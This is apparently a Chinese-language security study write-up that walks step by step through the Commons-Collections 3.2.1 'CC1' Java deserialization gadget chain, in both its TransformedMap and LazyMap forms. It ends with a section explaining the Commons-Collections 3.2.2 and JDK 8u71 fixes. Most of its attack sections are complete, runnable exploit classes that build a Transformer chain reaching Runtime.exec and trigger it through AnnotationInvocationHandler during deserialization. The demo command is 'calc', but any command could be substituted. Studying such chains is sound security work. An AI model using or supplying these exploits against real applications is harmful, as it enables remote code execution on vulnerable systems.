Commons-Collections CC1链

CC1链的核心是“利用可序列化类的readObject()方法,触发恶意Transformer链的反射调用”,本质是对Java反射机制和序列化机制的滥用;

**关键前提:**目标需满足使用存在漏洞的Commons-Collections版本+存在可触发的readObject()入口。

而且LazyMap链比TransformedMap链稳定,jdk8u71之后readObject()方法不再调用Map.Entry.setValue(),改用LinkedHashMap直接接收数据

0x01 环境搭建

JDK8u65 (jdk8u71之后cc1链漏洞是已修复的)

commons-collections 3.2.1(如果是commons-collections 3.2.2之后,cc1链漏洞是已修复的)

Common-Collections 就是一个集合工作类,用来处理集合的。

导入依赖pom添加依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

0x02 CC1攻击链分析(TransformedMap链)分析

反序列化攻击需要一个入口类readObject(),结尾需要一个执行命令的方法,一般就是反射、动态加载字节码的方式。

2.1. 找到尾部

漏洞点是:org.apache.commons.collections.functors.InvokerTransformer#transform 可以反射任意类,可以作为链子的终点。

可以通过构造方法传入参数,因为是构造方法是public 所以不用反射。iMethodName, iParamTypes,iArgs参数可以通过有参构造传入。

1
2
3
4
5
6
7
8
   // 1. 获取Runtime对象
Runtime runtime = Runtime.getRuntime();

// 2. 创建InvokerTransformer,先传入Runtime的exec方法名字,在传入方法的参数类型class,在传入执行的命令calc,而且这三个分别为String iMethodName;Class[] iParamTypes;Object[] iArgs;
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

// 3.transform(runtime)时,执行runtime.exec("calc")
exec.transform(runtime);

image-20260308004844372

2.2. 初步找链子

现在寻找谁调用了transform方法不同名类

org.apache.commons.collections.map.TransformedMap#checkSetValue 调用了transform方法

valueTransformer 通过有参构造传入,但是访问修饰符是受保护的,寻找谁调用了TransformedMap

org.apache.commons.collections.map.TransformedMap#decorate 调用了TransformedMap,

因为TransformedMap是public方法。尝试编写一下POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static void main(String[] args) throws Exception {
// 1. 获取Runtime对象(执行命令的入口)
Runtime runtime = Runtime.getRuntime();

// 2. 创建普通HashMap
HashMap<Object, Object> hashedMap = new HashMap<>();

// 3. 创建InvokerTransformer,它会在transform时调用exec("calc")
// 相当于:当调用transform(runtime)时,执行runtime.exec("calc")
InvokerTransformer exec = new InvokerTransformer(
"exec", // 方法名
new Class[]{String.class}, // 方法参数类型
new Object[]{"calc"} // 方法参数值
);

// 4. 用TransformedMap包装HashMap
// 当TransformedMap的value被修改时,会调用exec
Map decorate = TransformedMap.decora te(hashedMap, null, exec);

// 5. 获取TransformedMap的transformValue方法
// 这个方法内部会调用我们设置的exec
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method transformValue = transformedMapClass.getDeclaredMethod("transformValue", Object.class);

// 6. 设置方法可访问(因为是protected方法)
transformValue.setAccessible(true);

// 7. 手动调用transformValue,传入runtime
// 这会导致:exec.transform(runtime) → runtime.exec("calc")
transformValue.invoke(decorate, runtime);

}

1
2
3
4
5
找 .decorate 的链子,无法更近一步,回到org.apache.commons.collections.map.TransformedMap#checkSetValue,看看谁调用了checkSetValue,

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue,然后发现了这个,调用checkSetValue是抽象类内部类org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry的setValue调用,

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。

跟进一下

可以看看map遍历的时候,会不会走到这里

思路就是通过.entrySet()获取键值对,通过for循环遍历,设置“Value” 值

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        HashMap<String, String> hashedMap = new HashMap<>();
        hashedMap.put("1","2");
        InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Map<Object, Object> decorate = TransformedMap.decorate(hashedMap, null, exec);
        for (Map.Entry entry:decorate.entrySet()){
            entry.setValue(runtime);

        }
    }
}

2.3. 寻找入口readObject()

在从“setValue”继续找,找到AnnotationInvocationHandler类,这个类是跟动态代理相关的。

image-20260307145612675

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();

// 关键代码:遍历注解的所有方法
for (Method memberMethod : type.getDeclaredMethods()) {
String member = memberMethod.getName(); // 获取注解方法名
Object value = memberValues.get(member); // 从Map获取值

// 获取默认值
Object defaultValue = memberMethod.getDefaultValue();

// 如果值不对,就修正
if (defaultValue != null && !defaultValue.equals(value)) {
// memberValues不是原生HashMap,而是TransformedMap包装后的恶意Map
// TransformedMap重写了put/setValue方法,调用时会执行我们构造的Transformer链
// 核心补充3:我调试时打断点看到,这里的put()最终会调用TransformedMap的setValue(),触发InvokerTransformer执行命令
memberValues.put(member, defaultValue); // 修改值
}
}
}

2.4.一些基础

2.4.1.ConstantTransformer类

1
2
3
4
5
6
7
ConstantTransformer类发transformer方法传入任意东西,都会返回iConstant,类似一个常量,是Object类型,是所有类的父类。

private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

image-20260308010021020

2.4.2.ChainedTransformer类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1、iTransformers是一个Transformer数组,遍历遍历到每个Transformer按顺序调用每个 Transformer的 transform方法,这样外部触发一次transform方法,就可以同时调用多个Transformer,那么就不用写多个InvokerTransformer.transform方法了

private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

image-20260308011005827

2.5. 需要解决问题分析

  1. Runtime不能反序列化,但是可以反射变成可以序列化(因为Runtime没有继承Serializable,所以不能直接反序列化)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    但是InvokerTransformer类反射调用过来,因为InvokerTransformer继承了Serializabl,然后在利用用ChainedTransformer 类下的 transform 方法递归,然后进行反射,这样就不用执行多次的transform方法,而且ConstantTransformer类的transformer方法就是传什么返回什么,那么exp:     

    Transformer[] transformers = {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod"
    , new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke"
    , new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
    new InvokerTransformer("exec"
    , new Class[]{String.class}, new Object[]{"calc"}),};
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

2.setValue要控制它的value是Runtime.class,要先满足setValue需要满足一些条件:

1
2
3
4
5
满足这个for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

要满足memberValues有值,memberValues从这里传入AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues),
第一个参数Class<? extends Annotation> type这里是一个注解类,在编译阶段,Java 编译器会处理用 @interface定义的类,并自动生成一个实现了 java.lang.annotation.Annotation接口的具体类。所以我们要先传入一个注解类,在传入一个map
第二个参数是一个map

image-20260308034544445

1
2
3
4
5
6
7
8
9
10
第一if会判断传入的map的值是否在注解中, memberTypes.get(name)就是通过已知的属性名(name),去获取这个属性所期望的数据类型,如果不存在,自然为空,所以map的key值设置成一个有参数的注解参数即可
可以传入Repeatable.class。

Class<?> memberType = memberTypes.get(name);if (memberType != null)

@Retention注解:
- 是Java内置注解
- 只有一个属性:value
- value有默认值:RetentionPolicy.CLASS
- 简单,容易触发检查

image-20260308031403574

1
第二个if它这里判断memberType的value能否强转,但是这里是强转不了的,value和memberType类型不匹配,所以会进入if,所以map哪里,我们就随便填填字符串就可以了。

image-20260308042804662

1
2
3
4
5
最后就是setValue要控制它的value是Runtime.class
但是目前是memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));

但是ChainedTransformer的transform方法返回的值是可控制,所以只要触发transform就可以了

2.6.最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
// ========== 1. 构造Transformer链(攻击核心载荷) ==========
// 目的:通过一系列反射调用,最终执行 Runtime.getRuntime().exec("calc")
// 因为Runtime类本身不可序列化,所以需要借助其Class对象进行反射构造
Transformer[] transformers = {
// 第一个Transformer:恒定返回Runtime.class对象,作为反射的起点
// 无论输入什么,都输出Runtime.class,解决了“序列化起点”的问题
new ConstantTransformer(Runtime.class),

// 第二个Transformer:反射获取getRuntime方法
// 效果等同于:Runtime.class.getMethod("getRuntime", null)
new InvokerTransformer("getMethod"
, new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),

// 第三个Transformer:反射调用getRuntime()方法,获得Runtime实例
// 效果等同于:method.invoke(null, null) 得到 Runtime.getRuntime()
new InvokerTransformer("invoke"
, new Class[]{Object.class,Object[].class}, new Object[]{null,null}),

// 第四个Transformer:调用exec方法执行命令
// 效果等同于:runtime.exec("calc")
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"}),};

// 将4个Transformer串联成链:前一个的输出作为后一个的输入
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// ========== 2. 构造TransformedMap(触发机关) ==========
// 创建一个普通HashMap
HashMap<String, String> hashedMap = new HashMap<>();
// 关键:必须使用"value"作为key,因为@Retention注解只有一个value属性
// 这里放入任意值("2"),目的是让后续检查时发现"值不正确",从而触发修复逻辑
hashedMap.put("value","2");

// 用TransformedMap装饰普通Map,并设置value转换器为我们构造的攻击链
// 当TransformedMap的entry被修改(setValue)时,会自动调用chainedTransformer
Map<Object, Object> decorate = TransformedMap.decorate(hashedMap, null, chainedTransformer);

// ========== 3. 构造AnnotationInvocationHandler(反序列化入口) ==========
// 获取JDK内部类AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取其构造方法,参数要求:一个注解类 + 一个Map
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 创建AnnotationInvocationHandler实例
// 关键点1:必须传入一个注解类,这里选择@Retention,因为它有value属性且有默认值
// 关键点2:传入我们构造的TransformedMap,这样在反序列化时就会触发我们的攻击链
Object o = constructor.newInstance(Retention.class, decorate);

// ========== 4. 序列化与反序列化触发攻击 ==========
// 将构造好的恶意对象序列化到文件
serialize(o);
// 反序列化该文件,触发漏洞
// 流程:readObject() -> 遍历Map -> 发现"value"属性值类型错误 -> 调用setValue()修复
// -> TransformedMap.setValue() -> chainedTransformer.transform()
// -> 执行Transformer链 -> 弹出计算器
unserialize("ser.bin");
}

// 序列化辅助方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close(); // 注意:实际代码中应添加关闭流的操作
}

// 反序列化辅助方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close(); // 注意:实际代码中应添加关闭流的操作
return obj;
}
}

image-20260302130131225

2.7.完整利用链

完整利用链路:

**执行危险方法的尾链:**InvokerTransformer#transform 通过反射调用任意方法,是执行命令的​​最终点,这样我们就可以反射调用Runtime类,执行系统命令

过程:

TransformedMap#checkSetValue 调用了transform方法

AbstractInputCheckedMapDecorator.MapEntry#setValue调用了checkSetValue ,   这是TransformedMap内部父类的一个方法,通常在遍历Map的Entry时通过setValue触发。

执行 readObject() 的入口:AnnotationInvocationHandler#readObject 重写了 readObject(),会遍历 Map.Entry 并调用 setValue(),从而触发后续链条。

利用链路:
  InvokerTransformer#transform
      TransformedMap#checkSetValue  valueTransformer.transform
          AbstractInputCheckedMapDecorator.MapEntry#setValue    parent.checkSetValue
          		AnnotationInvocationHandler#readObject   emberValue.setValue
辅助链:
ConstantTransformer
ChainedTransformer
hashedMap

CC1 链完整调用链路图如下所示:

0x03 CC1攻击链分析(LazyMap链)分析

现在分析LazyMap链分析

3.1. 寻找链尾

漏洞点还是 InvokeTransformer.Transform()

1
2
3
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

image-20260308175335120

但是LazyMap 这个类的 get 方法中出现了 .transform 方法,get 方法的作用域为 public。

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

image-20260308175841043

3.2. 寻找链子

1
2
3
4
5
6
7
8
9
10
发现可以通过 LazyMap类构造方法传值,但是因为作用域为 private,因为无法直接获取
protected final Transformer factory;
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

image-20260311112732146

1
2
3
4
5
6
又发现通过decorate方法里面可以new LazyMap(map, factory);,而且作用域还是public


public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

image-20260308180100161

尝试构造利用看看,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class cc1_lazy {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> lazyMap = new HashMap<Object, Object>();
Map decorate = LazyMap.decorate(lazyMap, exec);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method get = lazyMapClass.getDeclaredMethod("get", Object.class);
get.setAccessible(true);
get.invoke(decorate,runtime);

}
}

image-20260311113550635

3.3.寻找入口readObject()

1
2
3
就找谁调用了LazyMap#get,
发现sun.reflect.annotation.AnnotationInvocationHandler#invoke方法调用了.get方法
Object result = memberValues.get(member);

image-20260311114038269

1
2
3
4
需要触发 invoke 方法,马上想到动态代理,一个接口被动态代理之后,当调用代理对象的任何接口定义的方法时,都会调用InvocationHandler的invoke方法。
而AnnotationInvocationHandler的父类就是InvocationHandler;

class AnnotationInvocationHandler implements InvocationHandler, Serializable

image-20260311124850453

1
2
3
在AnnotationInvocationHandler.readObject()方法里面可以调用.entrySet()触发invoke方法,只要 memberValues.entrySet()的memberValues值替换成代理对象,就可以触发invoke()方法

for (Map.Entry<String, Object> memberValue : memberValues.entrySet())

image-20260311125149240

3.4.编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1_lazy {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// 定义一个Transformer数组,用于构建链式转换器,实现命令执行
Transformer[] transformers = new Transformer[]{
// ConstantTransformer: 返回Runtime.class对象,作为后续反射调用的起点
new ConstantTransformer(Runtime.class),
// InvokerTransformer: 通过反射调用Runtime.class的getMethod方法,获取getRuntime方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// InvokerTransformer: 调用getMethod返回的方法对象,执行invoke获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// InvokerTransformer: 调用Runtime实例的exec方法,执行"calc"命令(打开计算器)
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// 将上述Transformer数组组合成ChainedTransformer,实现链式调用
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 创建一个HashMap,作为LazyMap的底层存储
HashMap<Object,Object> lazyMap = new HashMap<Object, Object>();
// 使用LazyMap.decorate包装HashMap,并指定chainedTransformer为转换器
// 当访问Map中不存在的键时,会触发转换器执行
Map decorate = LazyMap.decorate(lazyMap, chainedTransformer);
// 通过反射获取AnnotationInvocationHandler类,这是一个内部类,用于处理注解
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler的构造方法,参数为Class和Map
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法可访问,因为它是私有方法
declaredConstructor.setAccessible(true);
// 创建AnnotationInvocationHandler实例,传入Override.class和decorate Map
InvocationHandler o = (InvocationHandler)declaredConstructor.newInstance(Override.class, decorate);
// 创建动态代理,代理Map接口,并使用上面的InvocationHandler
// 代理Map在调用方法时会触发InvocationHandler的invoke方法
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, o);
// 再次创建AnnotationInvocationHandler实例,这次传入代理Map,以构建反序列化利用链
o = (InvocationHandler)declaredConstructor.newInstance(Override.class, proxyMap);
// 序列化对象到文件"ser.bin"
serialize(o);
// 从文件"ser.bin"反序列化对象,触发命令执行
unserialize("ser.bin");
}
// 序列化方法:将对象写入指定文件
public static void serialize(Object obj) throws IOException {
// 创建ObjectOutputStream,将对象序列化到文件"ser.bin"
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close(); // 注意:实际代码中应添加关闭流,这里原代码未关闭,但注释中建议完善
}
// 反序列化方法:从指定文件读取对象
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
// 创建ObjectInputStream,从文件读取对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close(); // 注意:实际代码中应添加关闭流,这里原代码未关闭,但注释中建议完善
return obj;
}
}

image-20260311155431038

1
2
3
4
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aDeclaredConstructor = a.getDeclaredConstructor(Class.class, Map.class);
aDeclaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aDeclaredConstructor.newInstance(Override.class, decorateLazyMap);

生成代理类,并使用反序列化调用计算器

1
2
3
4
5
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()  
, new Class[]{Map.class}, invocationHandler);
invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler);
unserialize("ser.bin");

3.5.完整利用链

1
2
3
4
5
6
7
8
9
10
11
12
调用链 
InvokeTransformer#transform
LazyMap#get factory.transform()
AnnotationInvocationHandler#invoke memberValues.get()
AnnotationInvocationHandler#readObject memberValues.entrySet()


辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet

image-20260311170528116

0x04 漏洞修复

4.1 Commons Collections >= 3.2.2 之后修复

1
3.2.2 及之后就修复了,底层原理:在 readObject 时增加了校验,除非开发者手动设置系统属性 org.apache.commons.collections.enableUnsafeSerialization 为 true,否则只要反序列化到这些危险类,直接抛出 UnsupportedOperationException 异常,如下图所示。

image-20260306181336747

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
可以在org.apache.commons.collections.functors.InvokerTransformer#readObject  处打断点
Commons Collections 3.2.2之后的InvokerTransformer的readObject()方法多了一个reFunctorUtils.checkUnsafeSerialization,如果没开启系统白名单属性,反序列化到这里当场抛异常报错。



static void checkUnsafeSerialization(Class clazz) {
String unsafeSerializableProperty;
try {
unsafeSerializableProperty = (String)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");
}
});
} catch (SecurityException var3) {
unsafeSerializableProperty = null;
}

if (!"true".equalsIgnoreCase(unsafeSerializableProperty)) {
throw new UnsupportedOperationException("Serialization support for " + clazz.getName() + " is disabled for security reasons. " + "To enable it set system property '" + "org.apache.commons.collections.enableUnsafeSerialization" + "' to 'true', " + "but you must ensure that your application does not de-serialize objects from untrusted sources.");
}
}

image-20260306182610804

image-20260306183905777

1
对比 Commons Collections 3.2.1 的代码,`InvokerTransformer` 中不存在 3.2.2 新增的反序列化安全检查。

image-20260308044948440

4.2 jdk8u71之后修复

1
jdk8u71版本之后,官网AnnotationInvocationHandler的readObject()方法不再调用Map.Entry.setValue(),改用LinkedHashMap直接接收数据,避免触发TransformedMap的恶意逻辑,readObject()遍历Map时仅执行数据存储,未触发setValue(),漏洞无法利用。

image-20260307024538799

1
对比一下jdk8u65是通过setValue()来修改值

image-20260308045309721

1
2
而且原本会遍历memberValues,调用entrySet
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

image-20260311232702542

1
jdk8u71之后不再遍历 entrySet 调用 setValue

image-20260311232612132